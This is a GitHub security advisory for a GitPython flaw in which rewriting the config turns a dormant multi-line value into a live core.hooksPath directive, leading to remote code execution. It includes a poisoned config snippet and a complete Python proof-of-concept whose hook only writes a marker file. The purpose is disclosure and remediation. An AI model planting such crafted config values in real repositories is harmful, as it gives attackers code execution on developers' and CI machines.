GHSA-284h-m62q-gf8w
Dashboard / Vulnerabilities / GHSA-284h-m62q-gf8w
GHSA-284h-m62q-gf8w
Summary: GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE
Details: - **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument - **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708) - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ## Reachability GitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\r`/`\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above. That guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts. The bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and "handles" any embedded newline in the value with `.replace("\n", "\n\t")` (line 708), emitting a bare, unquoted `<real newline><tab>` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `<anything>\nhooksPath = <attacker path>`, that second line is parsed as a brand-new `core.hooksPath = <attacker path>` directive — live, real Git configuration, not a value. `core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation. ## Root cause `GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten. ## Exploit path 1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: ``` [core] zzz = "A\nhooksPath = ../evil-hooks\ " ``` No raw `\r`, `\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\nhooksPath = ../evil-hooks`, identically to GitPython's own reader. 2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value("user", "name", "Test User")`. This is one of the most ordinary operations a GitPython-based tool performs. 3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim: ``` [core] ... zzz = A hooksPath = ../evil-hooks ``` 4. Real `git config --get core.hookspath` now returns `../evil-hooks` — a key that did not exist before step 2, created purely by GitPython's own write. 5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution. ## Impact Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` "Newline injection... enables RCE via core.hooksPath" advisories, and requiring **no unsafe caller argument at all** — only an attacker-influenced config file plus one ordinary, unrelated write. ## Preconditions - A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `<anything>\n<injected-key> = <injected-value>`. Realistic delivery: 1. **Pre-existing `.git` directory shipped with a repository** — vendored/template repos, CI workspace/layer caches that preserve `.git`, "repo" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`. 2. **The documented shared-config `[include]` pattern** (`[include] path = ../<repo-tracked-file>`, pointing at a file inside the working tree) — `GitConfigParser.read()` merges included files' sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`). 3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** — the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun's `project.push()`). - No authentication/role requirement inside GitPython itself. ## Evidence - `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`'s multi-line handling — decodes `unicode_escape`, turning a literal `\n` escape into a real embedded LF. - `git/config.py:~694-712` (`_write()`/`write_section()`) — uses `self._value_to_string(v)` (unsafe variant) and `.replace("\n", "\n\t")` with no re-quoting. - `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message. - `git log -S"string_decode"`, `-S"write_section"`, `-S'replace("\n", "\n\t")'` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix. - PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated `config_writer()` write → `core.hookspath` becomes live per real `git config --get` → a subsequent `git commit` executes the injected hook and writes a benign marker file. ## False-positive check (adversarial re-read) - **Is this just a repeat of the four already-fixed config-injection GHSAs?** No — all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism. - **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it. - **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it's trusted?** No — once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git's hook-invocation machinery. - **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`. - Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently end-to-end (dormant value in place → benign unrelated `config_writer()` write → `core.hookspath` live per real git → hook fires on `git commit`, marker file written). ## Remediation Either (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git's own `git config --file <path> --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path. ## Confidence High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live `core.hookspath` → hook execution with a benign marker) reproduced twice, independently, against the current HEAD. ## Proof-of-Concept source (`gitpython-002-poc.py`) ```python #!/usr/bin/env python3 """ GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value (standard quoted + backslash-continuation syntax, containing an escaped "\\n" that decodes to a real embedded newline in memory) is corrupted into a NEW, live config key the moment GitConfigParser re-serializes it during any unrelated write. If the smuggled second "line" looks like "hooksPath = <attacker path>", it becomes a real, active core.hooksPath after one unrelated GitPython config write, and fires attacker code on the next hook-triggering git operation (e.g. `git commit`). This is CWE-88/CWE-94 style argument/config injection, but via the READ path (a config file GitPython parses and later rewrites), not via a Python kwarg argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all guard the setter-argument surface only. Run: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir> Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a marker file; no destructive/exfiltrating payload. Exits non-zero and prints "NOT VULNERABLE" if the corruption / hook does not fire. """ import os import subprocess import sys def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc" repo_dir = os.path.join(workdir, "repo") hooks_dir = os.path.join(workdir, "evil-hooks") marker = os.path.join(workdir, "PWNED_MARKER.txt") for p in (repo_dir, hooks_dir): os.makedirs(p, exist_ok=True) if os.path.exists(marker): os.remove(marker) subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True) subprocess.run(["git", "-C", repo_dir, "config", "user.email", "[email protected]"], check=True) subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True) # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value # inside [core] (before any other section). No raw CR/LF/NUL byte is # written to disk here -- this is standard git config quoting + # backslash-line-continuation, decoded by both real git and GitConfigParser # into the Python string 'A\nhooksPath = ../evil-hooks'. cfg_path = os.path.join(repo_dir, ".git", "config") with open(cfg_path) as f: original = f.read() poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n' # Insert right after the [core] header line so it lives in the same section. new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1) with open(cfg_path, "w") as f: f.write(new_config) # Confirm it's inert per real git before touching GitPython. pre = subprocess.run( ["git", "-C", repo_dir, "config", "--get", "core.hookspath"], capture_output=True, text=True, ) if pre.returncode == 0: print("SETUP ERROR: core.hookspath already set before GitPython touched anything") sys.exit(2) # Malicious hook: benign marker only. hook_path = os.path.join(hooks_dir, "pre-commit") with open(hook_path, "w") as f: f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker) os.chmod(hook_path, 0o755) import git # gitpython under test repo = git.Repo(repo_dir) before = repo.config_reader().get_value("core", "zzz") print("core.zzz before any GitPython write =", repr(before)) # ONE totally unrelated, benign write -- this is the only "attacker-adjacent" # action required, and it is something virtually every GitPython consumer # does routinely (setting an option, adding a remote, updating a branch's # tracking config, ...). with repo.config_writer() as cw: cw.set_value("user", "name", "Test User") post = subprocess.run( ["git", "-C", repo_dir, "config", "--get", "core.hookspath"], capture_output=True, text=True, ) if post.returncode != 0: print("NOT VULNERABLE: core.hookspath still absent after the unrelated write") sys.exit(1) injected_path = post.stdout.strip() print("core.hookspath is now LIVE after one unrelated write:", injected_path) # Trigger the hook with a normal commit to prove it fires. with open(os.path.join(repo_dir, "file2.txt"), "w") as f: f.write("change\n") subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True) subprocess.run( ["git", "-C", repo_dir, "-c", "[email protected]", "-c", "user.name=T", "commit", "-q", "-m", "trigger hook"], check=True, ) if os.path.isfile(marker): with open(marker) as f: content = f.read().strip() print("VULNERABLE: hook fired, marker content =", content) sys.exit(0) else: print("NOT VULNERABLE: hook did not fire") sys.exit(1) if __name__ == "__main__": main() ```
References: https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w, https://nvd.nist.gov/vuln/detail/CVE-2026-78676, https://github.com/gitpython-developers/GitPython, https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml, https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection
Affected packages
Package
Name: gitpython
Purl: pkg:pypi/gitpython
Affected ranges
Type: ECOSYSTEM
Events:
